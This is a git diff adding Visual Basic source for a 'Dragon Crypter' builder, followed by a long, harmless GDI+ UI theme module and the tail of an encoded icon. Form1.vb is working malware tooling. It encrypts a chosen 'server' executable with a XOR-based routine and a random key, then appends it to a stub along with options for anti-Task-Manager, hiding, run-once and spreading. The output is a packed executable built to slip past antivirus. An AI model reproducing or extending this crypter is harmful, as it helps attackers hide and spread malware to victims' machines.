BAQ2HBwc+l5eXv+enr3/fX6u/1NUnP8sLIf/UFCa/3h4sv+IiL7/j4/C/8/P5f//////+vr8/+zs9v9p + aMb/IiKQ/xwbLv8VFRX1BAQEKQAAAAAAAAAAAAAAAAAAAAAAAAAACwsLbxoaGv5nZ2n+TE2a/5mZxv7Y + 2Or+bm61/+Tk8f6ko9H/8fH4/uPj8f7+/v7++Pj8/9PT8/44OMP+GRhK/xUVFf0MDAxfAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAwMDHkcHBz9Dg4p/4aGq/76+/z+n5/O/9/f7v7NzOj/6ur2/vv7/f74 + +P3+9vb7/01NpP4WFjT+GRkZ+xISEmoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH + BwdNGxsb5BoaGv9TU1P/kpKb/7e3xP/l5en/5eXp/83Nzv+bm57/R0dL/xgYGf8kJCTdFRUVQgAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgICDA0NDXIcHBzUHBwc/iIiIv4d + HR3/HR0d/iMjI/4oKCj9LCwszyYmJmsKCgoIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQUFHgoKCkwTExNhGBgYYBYWFkkNDQ0aAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAHAIAAAACAAAAA8AABAOAABwDgAAcAwAADAIAAAQCA + AAEAgAABAIAAAQAAAAAAAAAAAAAAAQCAAAEAgAABAIAAAQCAAAMAwAADAOAABwDwAA8A+AAfAPwAPwD/ + gf8AKAAAABAAAAAgAAAAAQAgAAAAAABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAIgAAAEIA + AABiAAAAewAAAIwAAACVAAAAlQAAAI0AAAB8AAAAZAAAAEQAAAAjAAAACAAAAAAAAAACAAAAKAAAAGoA + AACkBAQE2w0NDfkiIiL+Ojo6/zU1Nf8bGxv+DQ0N+QMDA98AAACuAAAAeAAAADgAAAAMAAAAAAAAAAAB + AQEFDAwMnDw8PP60tLT/8vLy/+/v+P/29vr/6Ojo/5ubm/8xMTH9CgoKoQAAABMAAAAFAAAAAAAAAAAA + AAAAFBQUnV9fX//x8fP//f3+//T0+v9mZbX/WVmp//Pz9//4+Pj/4ODi/z09Rf8MDAyRAAAAAAAAAAAA + AAAAFhYWVURERP/39/f/7e33/8bG5f/q6vX/2Njt/zg4o/9kZLH/QECT/wkJZP8fH2j/MjI1/gUFBUoA + AAAAAAAAACMjI9PIyMj/+fn8/+Pj8f9hYbn/Skqo/9nZ6v/j4/P/nJvP/35+tf8sLYL/LS1x/2pqeP8S + EhLIAAAAAA0NDSdAQED/g4LB/7u62/+9vdr/zc3p/29vyv92drr/RkWt/w8Pg/8GBmL/AABE/wAAL/8A + ACD/FxcZ/gICAhwXFxdTZGRk/4iIxP9NTZv/oqLJ///////z8/n/3Nzv/46O0v8TE4v/Cwts/wEBX/8A + ACX/AAA8/xQUKv8HBwdHFhYWW2lpaf+8vNz/AABs/0xLnP/6+vz//v7+/83N6f8eHp//FBSK/wwMif8B + AWH/AABC/wAAQP8XFyX/BwcHUAkJCUJVVVX/4uLt/woKb/8JCXL/3t7t//79/v9+fsn/FRSB/xAQcP8p + KY3/AABT/wAASf8AACP/Hh4g/wUFBTYCAgIMISEh9svL0v8nJ33/FRV2/ywsif96ern/FBSB/wwMav9B + QYn/wcHZ/w0NXf8CAmP/BgZG/x8fH/AAAAAGAAAAABISEpt3d3j/eXmp/1dXnP8BAWX/AABm/wMDY/8v + L4D/yMjf//b2+v+dndD/DAxe/xoaQf8MDAyPAAAAAAAAAAACAgIYHBwc6YyMm/9rbKf/YGCl/4CAt/+K + isD/sLDV//n5/P/x8fj/jo3Y/x0dZ/8WFhfjAgICEgAAAAAAAAAAAAAAAAYGBjceHh7tNzdm/+Tk7/+l + pdH/ysrl//Pz+v/39/z/29vv/ysqef8XFxvpCAgILwAAAAAAAAAAAAAAAAAAAAAAAAAAAwMDIhQUFLY3 + Nzf+ZmZw/56eoP+enp//dXV3/zMzNf4gICCwCgoKHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAABAQEKhQUFHEYGBiTHBwckh8fH24QEBAmAAAAAAAAAAAAAAAAAAAAAAAAAACAAQAAAAAAAMABAADA + AwAAgAEAAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIABAACAAQAAwAMAAOAHAAD4HwAA + + + \ No newline at end of file diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.vb b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.vb new file mode 100644 index 0000000..20e33d3 --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.vb @@ -0,0 +1,149 @@ +Public Class Form1 + + Const hamza = "%%HACKERSDZ%%Devpoint&&$$$Hamza££££" + Dim AntiTas, Sleepp, Hid, RunOnce, Spread As String + + Dim DOTP As String = "" + + Dim stub As String + + Private Sub StButton1_Click(sender As Object, e As EventArgs) Handles StButton1.Click + Try + Dim ofd As New OpenFileDialog + ofd.Title = " Server" + ofd.Filter = ".exe | *.exe" + ofd.ShowDialog() + LogInNormalTextBox2.Text = ofd.FileName + + Catch ex As Exception + + + End Try + End Sub + + Private Sub StButton2_Click(sender As Object, e As EventArgs) Handles StButton2.Click + Try + Dim ofd As New OpenFileDialog + ofd.Title = "Stub" + ofd.Filter = ".exe | *.exe" + ofd.ShowDialog() + LogInNormalTextBox1.Text = ofd.FileName + + Catch ex As Exception + + + End Try + End Sub + Public Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String + Dim H As String = "" + Dim Black As String = "" + + If Uppers Then + H = (H & "あいうえおはひふへほもめみまこけくきかẦḆḈḒḔ123456789AZERTYUIOPQSSDFGHJKLMWXCVBN頂革難六五四事亊争予与ӨҞώϟωϐϚЀӔөӧҶҼҘқҍ") + End If + + VBMath.Randomize() + Dim num2 As Integer = (passwordLength - 1) + Dim i As Integer = 0 + Do While (i <= num2) + Black = (Black & Strings.Mid(H, CInt(Math.Round(CDbl(((Strings.Len(H) * VBMath.Rnd) + 1.0!)))), 1)) + i += 1 + Loop + Return Black + End Function + Private Sub StButton3_Click(sender As Object, e As EventArgs) Handles StButton3.Click + + LogInNormalTextBox3.Text = (GeneratePassword(True, True, False, False, 60)) + + End Sub + + Private Sub StButton4_Click(sender As Object, e As EventArgs) Handles StButton4.Click + Try + Dim sfd As New SaveFileDialog + + LogInProgressBar1.Value = 10 + + Dim sfdname As String + + sfd.Title = "Save Crypted File" + + sfd.Filter = ".exe | *.exe" + + sfd.ShowDialog() + + sfdname = sfd.FileName + + LogInProgressBar1.Value = 30 + + If StCheckBox2.Checked = True Then : AntiTas = True : Else : AntiTas = False : End If + + + If StCheckBox1.Checked = True Then : Sleepp = True : Else : Sleepp = False : End If + + + If StCheckBox4.Checked = True Then : Hid = True : Else : Hid = False : End If + + + If StCheckBox3.Checked = True Then : RunOnce = True : Else : RunOnce = False : End If + + + If StCheckBox5.Checked = True Then : Spread = True : Else : Spread = False : End If + + + LogInProgressBar1.Value = 60 + + If LogInNormalTextBox3.Text = "" Then + MsgBox("Please Generate A Key ", MsgBoxStyle.Information, "Invalid Key") + Exit Sub + Else + + + Dim DZ As New PXOR(LogInNormalTextBox3.Text) + + Dim DEV As String = LogInNormalTextBox2.Text + + Dim dddd As String = LogInNormalTextBox1.Text + + FileOpen(1, DEV, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + + DOTP = Space(LOF(1)) + + FileGet(1, DOTP) + + FileClose(1) + + FileOpen(1, dddd, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + + stub = Space(LOF(1)) + + FileGet(1, stub) + + FileClose(1) + + FileOpen(1, sfdname, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) + + LogInProgressBar1.Value = 70 + + FilePut(1, stub & hamza & DZ.PolyCrypt(DOTP) & hamza & LogInNormalTextBox3.Text & hamza & AntiTas & hamza & Sleepp & hamza & Hid & hamza & RunOnce & hamza & Spread) + + FileClose(1) + + LogInProgressBar1.Value = 100 + + MsgBox("Your Server Has Been Crypted^^", MsgBoxStyle.Information, "^^Crypted^^") + + Invalidate() + + Refresh() + + + End If + Catch ex As Exception + + End Try + + + End Sub + + +End Class diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Module1.vb b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Module1.vb new file mode 100644 index 0000000..3a2bb8e --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Module1.vb @@ -0,0 +1,5413 @@ +Imports System.Drawing.Text +Imports System.Drawing.Drawing2D +Imports System.ComponentModel + +'' DO NOT REMOVE CREDITS! IF YOU USE PLEASE CREDIT! '' + +''' +''' LogIn GDI+ Theme +''' Creator: Xertz (HF) +''' Version: 1.2 +''' Control Count: 28 +''' Date Created: 18/12/2013 +''' Date Changed: 05/01/2014 +''' UID: 1602992 +''' For any bugs / errors, PM me. +''' +''' + +Module DrawHelpers + +#Region "Functions" + + Public Function RoundRectangle(ByVal Rectangle As Rectangle, ByVal Curve As Integer) As GraphicsPath + Dim P As GraphicsPath = New GraphicsPath() + Dim ArcRectangleWidth As Integer = Curve * 2 + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -180, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -90, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 0, 90) + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 90, 90) + P.AddLine(New Point(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y), New Point(Rectangle.X, Curve + Rectangle.Y)) + Return P + End Function + + Public Function RoundRect(x!, y!, w!, h!, Optional r! = 0.3, Optional TL As Boolean = True, Optional TR As Boolean = True, Optional BR As Boolean = True, Optional BL As Boolean = True) As GraphicsPath + Dim d! = Math.Min(w, h) * r, xw = x + w, yh = y + h + RoundRect = New GraphicsPath + + With RoundRect + If TL Then .AddArc(x, y, d, d, 180, 90) Else .AddLine(x, y, x, y) + If TR Then .AddArc(xw - d, y, d, d, 270, 90) Else .AddLine(xw, y, xw, y) + If BR Then .AddArc(xw - d, yh - d, d, d, 0, 90) Else .AddLine(xw, yh, xw, yh) + If BL Then .AddArc(x, yh - d, d, d, 90, 90) Else .AddLine(x, yh, x, yh) + + .CloseFigure() + End With + End Function + + Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 + End Enum + +#End Region + +End Module + +Public Class LogInThemeContainer + Inherits ContainerControl + +#Region "Declarations" + Private _CloseFormOrWhole As __CloseFormOrWhole = __CloseFormOrWhole.WholeProgram + Private _Form As Form + Private _AllowClose As Boolean = True + Private _AllowMinimize As Boolean = True + Private _AllowMaximize As Boolean = True + Private _FontSize As Integer = 12 + Private ReadOnly _Font As Font = New Font("Segoe UI", _FontSize) + Private _ShowIcon As Boolean = True + Private State As MouseState = MouseState.None + Private MouseXLoc As Integer + Private MouseYLoc As Integer + Private CaptureMovement As Boolean = False + Private Const MoveHeight As Integer = 35 + Private MouseP As Point = New Point(0, 0) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + Private _BaseColour As Color = Color.FromArgb(35, 35, 35) + Private _ContainerColour As Color = Color.FromArgb(54, 54, 54) + Private _BorderColour As Color = Color.FromArgb(60, 60, 60) + Private _HoverColour As Color = Color.FromArgb(42, 42, 42) +#End Region + +#Region "Properties & Events" + + Enum __CloseFormOrWhole + WholeProgram + Form + End Enum + + + Public Property CloseFormOrProgrm As __CloseFormOrWhole + Get + Return _CloseFormOrWhole + End Get + Set(value As __CloseFormOrWhole) + _CloseFormOrWhole = value + End Set + End Property + + + Public Property FormSelect As Form + Get + Return _Form + End Get + Set(value As Form) + _Form = value + End Set + End Property + + + Public Property FontSize As Integer + Get + Return _FontSize + End Get + Set(value As Integer) + _FontSize = value + End Set + End Property + + + Public Property AllowMinimize As Boolean + Get + Return _AllowMinimize + End Get + Set(value As Boolean) + _AllowMinimize = value + End Set + End Property + + + Public Property AllowMaximize As Boolean + Get + Return _AllowMaximize + End Get + Set(value As Boolean) + _AllowMaximize = value + End Set + End Property + + + Public Property ShowIcon As Boolean + Get + Return _ShowIcon + End Get + Set(value As Boolean) + _ShowIcon = value + End Set + End Property + + + Public Property AllowClose As Boolean + Get + Return _AllowClose + End Get + Set(value As Boolean) + _AllowClose = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property HoverColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property ContainerColour As Color + Get + Return _ContainerColour + End Get + Set(value As Color) + _ContainerColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseUp(e) + CaptureMovement = False + State = MouseState.Over + Invalidate() + End Sub + + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + MouseXLoc = e.Location.X + MouseYLoc = e.Location.Y + Invalidate() + If CaptureMovement Then + Parent.Location = MousePosition - MouseP + End If + If e.X < Width - 90 AndAlso e.Y > 35 Then Cursor = Cursors.Arrow Else Cursor = Cursors.Hand + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + If MouseXLoc > Width - 39 AndAlso MouseXLoc < Width - 16 AndAlso MouseYLoc < 22 Then + Select Case _CloseFormOrWhole + Case __CloseFormOrWhole.WholeProgram + If _AllowClose Then + Environment.Exit(0) + End If + Case __CloseFormOrWhole.Form + If _AllowClose Then + Try + _Form.Close() + Catch ex As NullReferenceException + End Try + End If + End Select + ElseIf MouseXLoc > Width - 64 AndAlso MouseXLoc < Width - 41 AndAlso MouseYLoc < 22 Then + If _AllowMaximize Then + Select Case FindForm.WindowState + Case FormWindowState.Maximized + FindForm.WindowState = FormWindowState.Normal + Case FormWindowState.Normal + FindForm.WindowState = FormWindowState.Maximized + End Select + End If + ElseIf MouseXLoc > Width - 89 AndAlso MouseXLoc < Width - 66 AndAlso MouseYLoc < 22 Then + If _AllowMinimize Then + Select Case FindForm.WindowState + Case FormWindowState.Normal + FindForm.WindowState = FormWindowState.Minimized + Case FormWindowState.Maximized + FindForm.WindowState = FormWindowState.Minimized + End Select + End If + ElseIf e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(0, 0, Width - 90, MoveHeight).Contains(e.Location) Then + CaptureMovement = True + MouseP = e.Location + ElseIf e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(Width - 90, 22, 75, 13).Contains(e.Location) Then + CaptureMovement = True + MouseP = e.Location + ElseIf e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(Width - 15, 0, 15, MoveHeight).Contains(e.Location) Then + CaptureMovement = True + MouseP = e.Location + Else + Focus() + End If + State = MouseState.Down + Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + Me.DoubleBuffered = True + Me.BackColor = _BaseColour + Me.Dock = DockStyle.Fill + End Sub + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + ParentForm.FormBorderStyle = FormBorderStyle.None + ParentForm.AllowTransparency = False + ParentForm.TransparencyKey = Color.Fuchsia + ParentForm.FindForm.StartPosition = FormStartPosition.CenterScreen + Dock = DockStyle.Fill + Invalidate() + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .FillRectangle(New SolidBrush(_BaseColour), New Rectangle(0, 0, Width, Height)) + .FillRectangle(New SolidBrush(_ContainerColour), New Rectangle(2, 35, Width - 4, Height - 37)) + .DrawRectangle(New Pen(_BorderColour), New Rectangle(0, 0, Width, Height)) + Dim ControlBoxPoints() As Point = {New Point(Width - 90, 0), New Point(Width - 90, 22), New Point(Width - 15, 22), New Point(Width - 15, 0)} + .DrawLines(New Pen(_BorderColour), ControlBoxPoints) + .DrawLine(New Pen(_BorderColour), Width - 65, 0, Width - 65, 22) + Select Case State + Case MouseState.Over + If MouseXLoc > Width - 39 AndAlso MouseXLoc < Width - 16 AndAlso MouseYLoc < 22 Then + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(Width - 39, 0, 23, 22)) + ElseIf MouseXLoc > Width - 64 AndAlso MouseXLoc < Width - 41 AndAlso MouseYLoc < 22 Then + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(Width - 64, 0, 23, 22)) + ElseIf MouseXLoc > Width - 89 AndAlso MouseXLoc < Width - 66 AndAlso MouseYLoc < 22 Then + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(Width - 89, 0, 23, 22)) + End If + End Select + .DrawLine(New Pen(_BorderColour), Width - 40, 0, Width - 40, 22) + ''Close Button + .DrawLine(New Pen(_FontColour), Width - 33, 6, Width - 22, 16) + .DrawLine(New Pen(_FontColour), Width - 33, 16, Width - 22, 6) + ''Minimize Button + .DrawLine(New Pen(_FontColour), Width - 83, 16, Width - 72, 16) + ''Maximize Button + .DrawLine(New Pen(_FontColour), Width - 58, 16, Width - 47, 16) + .DrawLine(New Pen(_FontColour), Width - 58, 16, Width - 58, 6) + .DrawLine(New Pen(_FontColour), Width - 47, 16, Width - 47, 6) + .DrawLine(New Pen(_FontColour), Width - 58, 6, Width - 47, 6) + .DrawLine(New Pen(_FontColour), Width - 58, 7, Width - 47, 7) + If _ShowIcon Then + .DrawIcon(FindForm.Icon, New Rectangle(6, 6, 22, 22)) + .DrawString(Text, _Font, New SolidBrush(_FontColour), New RectangleF(31, 0, Width - 110, 35), New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Near}) + Else + .DrawString(Text, _Font, New SolidBrush(_FontColour), New RectangleF(3, 0, Width - 110, 35), New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Near}) + End If + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + + +Public Class LogInUserTextBox + Inherits Control + +#Region "Declarations" + Private State As MouseState = MouseState.None + Private WithEvents TB As Windows.Forms.TextBox + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) +#End Region + +#Region "TextBox Properties" + + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If TB IsNot Nothing Then + TB.TextAlign = value + End If + End Set + End Property + Private _MaxLength As Integer = 32767 + + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If TB IsNot Nothing Then + TB.MaxLength = value + End If + End Set + End Property + Private _ReadOnly As Boolean + + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If TB IsNot Nothing Then + TB.ReadOnly = value + End If + End Set + End Property + Private _UseSystemPasswordChar As Boolean + + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If TB IsNot Nothing Then + TB.UseSystemPasswordChar = value + End If + End Set + End Property + Private _Multiline As Boolean + + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If TB IsNot Nothing Then + TB.Multiline = value + + If value Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + End If + End Set + End Property + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If TB IsNot Nothing Then + TB.Text = value + End If + End Set + End Property + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If TB IsNot Nothing Then + TB.Font = value + TB.Location = New Point(3, 5) + TB.Width = Width - 35 + + If Not _Multiline Then + Height = TB.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(TB) Then + Controls.Add(TB) + End If + End Sub + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = TB.Text + End Sub + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + TB.SelectAll() + e.SuppressKeyPress = True + End If + If e.Control AndAlso e.KeyCode = Keys.C Then + TB.Copy() + e.SuppressKeyPress = True + End If + End Sub + Protected Overrides Sub OnResize(ByVal e As EventArgs) + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + + If _Multiline Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + MyBase.OnResize(e) + End Sub + +#End Region + +#Region "Colour Properties" + + + Public Property BackgroundColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : TB.Focus() : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + TB = New Windows.Forms.TextBox + TB.Height = 190 + TB.Font = New Font("Segoe UI", 10) + TB.Text = Text + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + TB.MaxLength = _MaxLength + TB.Multiline = False + TB.ReadOnly = _ReadOnly + TB.UseSystemPasswordChar = _UseSystemPasswordChar + TB.BorderStyle = BorderStyle.None + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + AddHandler TB.TextChanged, AddressOf OnBaseTextChanged + AddHandler TB.KeyDown, AddressOf OnBaseKeyDown + End Sub + + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim GP As GraphicsPath + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + GP = RoundRectangle(Base, 6) + .FillPath(New SolidBrush(Color.FromArgb(42, 42, 42)), GP) + .DrawPath(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35)), 2), GP) + .FillPie(New SolidBrush(FindForm.BackColor), New Rectangle(Width - 25, Height - 23, Height + 25, Height + 25), 180, 90) + .DrawPie(New Pen(Color.FromArgb(35, 35, 35), 2), New Rectangle(Width - 25, Height - 23, Height + 25, Height + 25), 180, 90) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + + + +#End Region + +End Class + + +Public Class LogInPassTextBox + Inherits Control + +#Region "Declarations" + Private State As MouseState = MouseState.None + Private WithEvents TB As Windows.Forms.TextBox + Private _BaseColour As Color = Color.FromArgb(255, 255, 255) + Private _TextColour As Color = Color.FromArgb(50, 50, 50) + Private _BorderColour As Color = Color.FromArgb(180, 187, 205) +#End Region + +#Region "TextBox Properties" + + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If TB IsNot Nothing Then + TB.TextAlign = value + End If + End Set + End Property + Private _MaxLength As Integer = 32767 + + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If TB IsNot Nothing Then + TB.MaxLength = value + End If + End Set + End Property + Private _ReadOnly As Boolean + + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If TB IsNot Nothing Then + TB.ReadOnly = value + End If + End Set + End Property + Private _UseSystemPasswordChar As Boolean + + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If TB IsNot Nothing Then + TB.UseSystemPasswordChar = value + End If + End Set + End Property + Private _Multiline As Boolean + + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If TB IsNot Nothing Then + TB.Multiline = value + + If value Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + End If + End Set + End Property + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If TB IsNot Nothing Then + TB.Text = value + End If + End Set + End Property + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If TB IsNot Nothing Then + TB.Font = value + TB.Location = New Point(3, 5) + TB.Width = Width - 35 + + If Not _Multiline Then + Height = TB.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(TB) Then + Controls.Add(TB) + End If + End Sub + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = TB.Text + End Sub + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + TB.SelectAll() + e.SuppressKeyPress = True + End If + If e.Control AndAlso e.KeyCode = Keys.C Then + TB.Copy() + e.SuppressKeyPress = True + End If + End Sub + Protected Overrides Sub OnResize(ByVal e As EventArgs) + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + + If _Multiline Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + MyBase.OnResize(e) + End Sub +#End Region + +#Region "Colour Properties" + + + Public Property BackgroundColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : TB.Focus() : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + TB = New Windows.Forms.TextBox + TB.Height = 190 + TB.Font = New Font("Segoe UI", 10) + TB.Text = Text + TB.BackColor = Color.FromArgb(42, 42, 42) + TB.ForeColor = Color.FromArgb(255, 255, 255) + TB.MaxLength = _MaxLength + TB.Multiline = False 